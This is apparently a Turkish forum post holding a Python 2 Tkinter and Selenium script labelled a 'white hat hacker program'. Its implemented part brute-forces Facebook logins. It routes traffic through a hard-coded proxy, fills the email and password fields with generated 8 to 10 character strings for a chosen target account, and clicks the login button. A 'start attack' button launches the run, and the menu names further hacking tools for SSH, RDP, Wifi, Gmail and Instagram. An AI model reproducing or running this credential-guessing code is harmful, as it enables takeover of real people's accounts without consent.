- 7 Eyl 2019
- 3
- 0
Kod:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from io import open
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
#porttarama için gerekli kütüphane
import socket
#Pencere oluşturmak için gerekli kütüphane
from tkinter import *
from tkMessageBox import *
#Selenium araçları ve kütüphaneleri
import requests
import sys
from os import system
import datetime
import selenium
import requests
import time as t
import time
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
from selenium.webdriver.common.proxy import Proxy, ProxyType
#Ftp Server İçin Araçlar Ve Kütüphaneler
import argparse
from ftplib import FTP
#wordlist için araç ve kütüphaneler
import sh
#Renkler
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
CWHITE = '\33[37m'
banner = color.RED +'''
/$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$__ $$| $$__ $$| $$__ $$ /$$__ $$| $$$ | $$
| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$$$| $$
| $$$$$$$ | $$$$$$$$| $$$$$$$/| $$$$$$$/| $$ | $$| $$ $$ $$
| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$ | $$| $$ $$$$
| $$ \ $$| $$ | $$| $$ \ $$| $$ \ $$| $$ | $$| $$\ $$$
| $$$$$$$/| $$ | $$| $$ | $$| $$ | $$| $$$$$$/| $$ \ $$
|_______/ |__/ |__/|__/ |__/|__/ |__/ \______/ |__/ \__
'''
def brutes8haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors):
harfler = ["a", "b", "c", "ç", "d", "e", "f", "g", "ğ", "h",
"ı", "i", "j", "k", "l", "m", "n", "o", "ö", "p",
"r", "s", "ş", "t", "u", "ü", "v", "y", "z", "q",
"w", "x", "A", "B", "C", "Ç", "D", "E", "F", "G",
"Ğ", "H", "I", "İ", "J", "K", "L", "M", "N", "O",
"Ö", "P", "R", "S", "Ş", "T", "U", "Ü", "V", "Y",
"Z", "Q", "W", "X"]
sayilar = ["1","2","3","4","5","6","7","8",""]
## Aşağıdaki alanda ben her karakterden 3 er kez kullanılmasını istediğim için dizileri tekrar tekrar ekledim.
elemanlar = sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler;
birhaneli = [];
ikihaneli = [];
uchaneli = [];
dorthaneli = [];
beshaneli = [];
altihaneli = [];
yedihaneli = [];
sekizhaneli = [];
firefox_capabilities = webdriver.DesiredCapabilities.FIREFOX
firefox_capabilities['marionette'] = True
firefox_capabilities['proxy'] = {
"proxyType": "MANUAL",
"httpProxy": proxy,
"ftpProxy": proxy,
"sslProxy": proxy
}
CHROME_DVR_DIR2 = '/root/Masaüstü/python/geckodriver'
browser = webdriver.Firefox(executable_path=CHROME_DVR_DIR2,capabilities=firefox_capabilities)
browser.get(website)
for hane1 in range(len(elemanlar)):
birhaneli.append(elemanlar[hane1]);
for hane2 in range(len(elemanlar)):
ikihaneli.append(elemanlar[hane1]+elemanlar[hane2]);
for hane3 in range(len(elemanlar)):
uchaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]);
for hane4 in range(len(elemanlar)):
dorthaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]);
for hane5 in range(len(elemanlar)):
beshaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]);
for hane6 in range(len(elemanlar)):
altihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]);
for hane7 in range(len(elemanlar)):
yedihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]);
for hane8 in range(len(elemanlar)):
sekizhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]);
for i in range(len(sekizhaneli)):
print (banner)
print 'Username Selector : %s ' % usernames_sellectors
print 'Password Selector : %s ' % passwords_sellectors
print 'Button Selector : %s ' % btn_sellectors
print 'Username : %s ' % usernames
print 'Password : ' + (sekizhaneli[i])
Sel_user = browser.find_element_by_css_selector(usernames_sellectors) #Finds Selector
Sel_pas = browser.find_element_by_css_selector(passwords_sellectors) #Finds Selector
browser.find_element_by_css_selector(passwords_sellectors).clear()
browser.find_element_by_css_selector(usernames_sellectors).clear()
Sel_user.send_keys(usernames)
Sel_pas.send_keys(sekizhaneli[i])
enter = browser.find_element_by_css_selector(btn_sellectors) #Finds Selector
enter.click()
def brutes9haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors):
harfler = ["a", "b", "c", "ç", "d", "e", "f", "g", "ğ", "h",
"ı", "i", "j", "k", "l", "m", "n", "o", "ö", "p",
"r", "s", "ş", "t", "u", "ü", "v", "y", "z", "q",
"w", "x", "A", "B", "C", "Ç", "D", "E", "F", "G",
"Ğ", "H", "I", "İ", "J", "K", "L", "M", "N", "O",
"Ö", "P", "R", "S", "Ş", "T", "U", "Ü", "V", "Y",
"Z", "Q", "W", "X"]
sayilar = ["1","2","3","4","5","6","7","8",""]
## Aşağıdaki alanda ben her karakterden 3 er kez kullanılmasını istediğim için dizileri tekrar tekrar ekledim.
elemanlar = sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler;
birhaneli = [];
ikihaneli = [];
uchaneli = [];
dorthaneli = [];
beshaneli = [];
altihaneli = [];
yedihaneli = [];
sekizhaneli = [];
dokuzhaneli = [];
firefox_capabilities = webdriver.DesiredCapabilities.FIREFOX
firefox_capabilities['marionette'] = True
firefox_capabilities['proxy'] = {
"proxyType": "MANUAL",
"httpProxy": proxy,
"ftpProxy": proxy,
"sslProxy": proxy
}
CHROME_DVR_DIR2 = '/root/Masaüstü/python/geckodriver'
browser = webdriver.Firefox(executable_path=CHROME_DVR_DIR2,capabilities=firefox_capabilities)
browser.get(website)
for hane1 in range(len(elemanlar)):
birhaneli.append(elemanlar[hane1]);
for hane2 in range(len(elemanlar)):
ikihaneli.append(elemanlar[hane1]+elemanlar[hane2]);
for hane3 in range(len(elemanlar)):
uchaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]);
for hane4 in range(len(elemanlar)):
dorthaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]);
for hane5 in range(len(elemanlar)):
beshaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]);
for hane6 in range(len(elemanlar)):
altihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]);
for hane7 in range(len(elemanlar)):
yedihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]);
for hane8 in range(len(elemanlar)):
sekizhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]);
for hane9 in range(len(elemanlar)):
dokuzhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]+elemanlar[hane9]);
for i in range(len(dokuzhaneli)):
print (banner)
print 'Username Selector : %s ' % usernames_sellectors
print 'Password Selector : %s ' % passwords_sellectors
print 'Button Selector : %s ' % btn_sellectors
print 'Username : %s ' % usernames
print 'Password : ' + (dokuzhaneli[i])
Sel_user = browser.find_element_by_css_selector(usernames_sellectors) #Finds Selector
Sel_pas = browser.find_element_by_css_selector(passwords_sellectors) #Finds Selector
browser.find_element_by_css_selector(passwords_sellectors).clear()
browser.find_element_by_css_selector(usernames_sellectors).clear()
Sel_user.send_keys(usernames)
Sel_pas.send_keys(dokuzhaneli[i])
enter = browser.find_element_by_css_selector(btn_sellectors) #Finds Selector
enter.click()
def brutes10haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors):
harfler = ["a", "b", "c", "ç", "d", "e", "f", "g", "ğ", "h",
"ı", "i", "j", "k", "l", "m", "n", "o", "ö", "p",
"r", "s", "ş", "t", "u", "ü", "v", "y", "z", "q",
"w", "x", "A", "B", "C", "Ç", "D", "E", "F", "G",
"Ğ", "H", "I", "İ", "J", "K", "L", "M", "N", "O",
"Ö", "P", "R", "S", "Ş", "T", "U", "Ü", "V", "Y",
"Z", "Q", "W", "X"]
sayilar = ["1","2","3","4","5","6","7","8","9","0"]
## Aşağıdaki alanda ben her karakterden 3 er kez kullanılmasını istediğim için dizileri tekrar tekrar ekledim.
elemanlar = sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler;
birhaneli = [];
ikihaneli = [];
uchaneli = [];
dorthaneli = [];
beshaneli = [];
altihaneli = [];
yedihaneli = [];
sekizhaneli = [];
dokuzhaneli = [];
onhaneli = [];
firefox_capabilities = webdriver.DesiredCapabilities.FIREFOX
firefox_capabilities['marionette'] = True
firefox_capabilities['proxy'] = {
"proxyType": "MANUAL",
"httpProxy": proxy,
"ftpProxy": proxy,
"sslProxy": proxy
}
CHROME_DVR_DIR2 = '/root/Masaüstü/python/geckodriver'
browser = webdriver.Firefox(executable_path=CHROME_DVR_DIR2,capabilities=firefox_capabilities)
browser.get(website)
for hane1 in range(len(elemanlar)):
birhaneli.append(elemanlar[hane1]);
for hane2 in range(len(elemanlar)):
ikihaneli.append(elemanlar[hane1]+elemanlar[hane2]);
for hane3 in range(len(elemanlar)):
uchaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]);
for hane4 in range(len(elemanlar)):
dorthaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]);
for hane5 in range(len(elemanlar)):
beshaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]);
for hane6 in range(len(elemanlar)):
altihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]);
for hane7 in range(len(elemanlar)):
yedihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]);
for hane8 in range(len(elemanlar)):
sekizhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]);
for hane9 in range(len(elemanlar)):
dokuzhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]+elemanlar[hane9]);
for hane10 in range(len(elemanlar)):
onhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]+elemanlar[hane9]+elemanlar[hane10]);
for i in range(len(onhaneli)):
parola = '' + (onhaneli[i])
print (banner)
print 'Username Selector : %s ' % usernames_sellectors
print 'Password Selector : %s ' % passwords_sellectors
print 'Button Selector : %s ' % btn_sellectors
print 'Username : %s ' % usernames
print 'Password : %s ' % parola
Sel_user = browser.find_element_by_css_selector(usernames_sellectors) #Finds Selector
Sel_pas = browser.find_element_by_css_selector(passwords_sellectors) #Finds Selector
browser.find_element_by_css_selector(passwords_sellectors).clear()
browser.find_element_by_css_selector(usernames_sellectors).clear()
Sel_user.send_keys(usernames)
Sel_pas.send_keys(parola )
enter = browser.find_element_by_css_selector(btn_sellectors) #Finds Selector
enter.click()
class hackcodes():
def facebookhackcodes(self,):
website = 'https://www.facebook.com/login/'
usernames = XUsername.get()
usernames_sellectors = '#email'
passwords_sellectors = '#pass'
btn_sellectors = '#loginbutton'
proxy = "185.185.113.51:8080"
hane = "" + XHane.get()
if hane == '8':
brutes8haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors)
if hane == '9':
brutes9haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors)
if hane == '10':
brutes10haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors)
class hack():
def facebookhackprogrami(self,):
PenFacebookHack = Toplevel(ana)
PenFacebookHack.transient(ana)
PenFacebookHack.focus()
PenFacebookHack.title(u"Facebook Hack Programı")
PenFacebookHack.resizable(width=FALSE, height=FALSE)
pgen = 1000
pyuks = 650
ekrangen = PenFacebookHack.winfo_screenwidth()
ekranyuks = PenFacebookHack.winfo_screenheight()
x = (ekrangen - pgen) / 2
y = (ekranyuks - pyuks) / 2
PenFacebookHack.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
#-GMAİL VEYA USERNAME ADRES
global XUsername
XUsername = StringVar()
Label(PenFacebookHack, text=u"Email Adres Veya Username Giriniz : ").grid(row=1, sticky=W)
Username=Entry(PenFacebookHack,textvariable=XUsername).grid(row=1, column=1)
#-Wordlist Hane
global XHane
XHane = StringVar()
Label(PenFacebookHack, text=u"Kaç Haneli Wordlist Olsun : ").grid(row=1 , column=2 , sticky=W)
Hane=Entry(PenFacebookHack,textvariable=XHane).grid(row=1, column=3)
#BUTTON
BtKaydet=Button(PenFacebookHack, text=u"Saldırıyı Başlat", command= lambda : hackers2.facebookhackcodes()).grid(row=2, column=1, sticky=NSEW, pady=3)
BtKaydet=Button(PenFacebookHack, text=u"Saldırıyı İptal Et", command=ana.quit).grid(row=2, column=2, sticky=NSEW, pady=3)
hackers=hack()
hackers2=hackcodes()
ana = Tk()
baslik = ana.title("Beyaz Şapkalı Hacker Programı")
pgen = 1000
pyuks = 650
ekrangen = ana.winfo_screenwidth()
ekranyuks = ana.winfo_screenheight()
x = (ekrangen - pgen) / 2
y = (ekranyuks - pyuks) / 2
ana.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
menubar=Menu(ana)
dosya=Menu(menubar)
menubar.add_cascade(label="Hack Programları",menu=dosya)
dosya.add_command(label="Port Tarama Programı",command= lambda : ptp.porttaramaprogrami())
dosya.add_command(label="FTP Hack Programı",command= lambda : bf.ftphackprogrami())
dosya.add_command(label="SSH Hack Programı")
dosya.add_command(label="TELNET Hack Programı")
dosya.add_command(label="SAMBA Hack Programı")
dosya.add_command(label="RDP Hack Programı")
dosya.add_command(label="VNC Hack Programı")
dosya.add_command(label="Wifi Hack Programı")
dosya.add_command(label="Facebook Hack Programı",command= lambda : hackers.facebookhackprogrami())
dosya.add_command(label="Tiwitter Hack Programı",command= lambda : hackers.tiwitterhackprogrami())
dosya.add_command(label="Gmail Hack Programı",command= lambda : hackers.gmailhackprogrami())
dosya.add_command(label="İnstagram Hack Programı",command= lambda : hackers.instagramhackprogrami())
dosya.add_command(label="Çıkış",command=ana.quit)
ana.config(menu=menubar)
ana.mainloop()